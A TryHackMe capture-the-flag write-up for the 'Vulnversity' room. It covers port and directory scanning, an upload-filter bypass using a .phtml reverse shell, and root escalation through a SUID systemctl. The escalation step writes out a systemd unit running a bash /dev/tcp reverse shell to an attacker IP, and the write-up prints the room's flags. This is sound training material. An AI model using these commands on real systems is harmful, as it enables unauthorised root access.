# TryHackMe Writeup: Vulnversity

**Room:** [<u>https://tryhackme.com/room/vulnversity</u>](https://tryhackme.com/room/vulnversity)

## Reconnaissance

Starting with an nmap service scan to get a lay of the land:

```bash
┌──(kali㉿kali)-[~/TryHackME/vulnversity]
└─$ nmap -sV 10.48.176.69 
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-30 15:17 +0530
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 15:17 (0:00:12 remaining)
Nmap scan report for vulnersity.thm (10.48.176.69)
Host is up (0.038s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.5
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 4
445/tcp  open  netbios-ssn Samba smbd 4
3128/tcp open  http-proxy  Squid http proxy 4.10
3333/tcp open  http        Apache httpd 2.4.41 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit
Nmap done: 1 IP address (1 host up) scanned in 27.87 seconds
```

The web server is running on port **3333**. Next, directory enumeration with gobuster:

```bash
┌──(kali㉿kali)-[~/TryHackME/vulnversity]
└─$ gobuster dir -u http://10.48.176.69:3333 -w /usr/share/dirbuster/wordlists/directory-list-1.0.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.48.176.69:3333
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
images               (Status: 301) [Size: 320] [--> http://10.48.176.69:3333/images/]
css                  (Status: 301) [Size: 317] [--> http://10.48.176.69:3333/css/]
js                   (Status: 301) [Size: 316] [--> http://10.48.176.69:3333/js/]
internal             (Status: 301) [Size: 322] [--> http://10.48.176.69:3333/internal/]
Progress: 141707 / 141707 (100.00%)
===============================================================
Finished
===============================================================
```

The `/internal/` directory stands out. It turns out to be a file upload page.

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/2354b562-537b-48d9-8746-5ca80aec9c4e.png align="center")

## Getting a Shell

Uploading a `.php` reverse shell is blocked immediately:

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/59432f17-e0b1-4a93-8043-5b44a06815ae.png align="center")

Time to fuzz extensions using Burp Intruder:

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/c5b10116-a4eb-48fd-b8dc-a921d2941982.png align="center")

**.phtml** comes back with a "Success" response while everything else gives "Extension not supported":

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/63afaa02-dafd-47d5-babb-c415c1d8e6ec.png align="center")

Uploading the reverse shell with the `.phtml`extension and triggering it gives a shell back:

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/6ef991e1-755f-47a4-b9ba-47576f3dbbbf.png align="center")

Enumerating the home directory reveals a user named **bill**:

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/28dfb329-d8f1-4eb5-b30e-f3db475a5f95.png align="center")

**User flag** from `bill/user.txt`: `18bd7992fbe8a6ad22a63361004cfcedb`

## Privilege Escalation

### Finding SUID Binaries

```bash
$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/mount
/bin/umount
/bin/systemctl
/bin/fusermount
/snap/snapd/24505/usr/lib/snapd/snap-confine
/snap/core20/2582/usr/bin/chfn
/snap/core20/2582/usr/bin/chsh
/snap/core20/2582/usr/bin/gpasswd
/snap/core20/2582/usr/bin/mount
/snap/core20/2582/usr/bin/newgrp
/snap/core20/2582/usr/bin/passwd
/snap/core20/2582/usr/bin/su
/snap/core20/2582/usr/bin/sudo
/snap/core20/2582/usr/bin/umount
/snap/core20/2582/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2582/usr/lib/openssh/ssh-keysign
/sbin/mount.cifs
```

`/bin/systemctl` has the SUID bit set. That's the vector.

### What is `systemctl` and why is this an issue?

`systemctl` is a Linux command used to manage services through `systemd`. For example:

```plaintext
systemctl start apache2
systemctl stop apache2
systemctl restart ssh
```

`systemctl` can also create and manage custom services. A service is essentially a program that Linux is instructed to execute.

For example, imagine a service definition containing:

```bash
[Service]
Type=oneshot
ExecStart=/bin/bash -c "whoami > /tmp/result"
```

This tells systemd:

- Create a service.
- When the service runs, execute `/bin/bash`.
- Run the command `whoami`.
- Write the result into `/tmp/result`.

So, if we can use a root-owned SUID `systemctl` to configure and execute a service that runs commands as root, we may be able to execute our own commands with root privileges. That is something we can exploit. We need to put the command we need to execute into `ExecStart` and then start the service.

We can just write the root flag into a temporary file, but let's try to get a shell.

We can just do `/bin/bash -p` (bash in privileged mode) into the `ExecStart` however, the input output from the service would be connected to the service's configured streams not necessary the interactive terminal we have access to. This is similar to opening a terminal window on another computer without having any way to interact with that window.

So we use a reverse shell here. The final service file would be:

```plaintext
[Unit]
Description=Temporary root shell lab service

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.138.245/4444 0>&1'
```

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/5d9d8ca1-6f55-41be-841c-2c11d63163d5.png align="center")

Starting a listener on port 4444 with `nc -lvnp 4444`, then writing the service file to a temp file and starting it:

```bash
$ TF=$(mktemp).service
$ cat > "$TF" << 'EOF'
[Unit]
Description=Root shell

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.138.245/4444 0>&1'

[Install]
WantedBy=multi-user.target
EOF
```

Link the service: `/bin/systemctl link "$TF"`

Enable and start it: `/bin/systemctl enable --now "$TF"`

The root shell lands at the listener:

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/c513637c-1964-4133-8c34-891a84e71eff.png align="center")

**Root flag** from `/root/root.txt`: `a58ff8579f0a9270368d33a9966c7fd5`

![](https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/8c8993a2-1f91-452f-bd25-695ddebea3c3.png align="center")
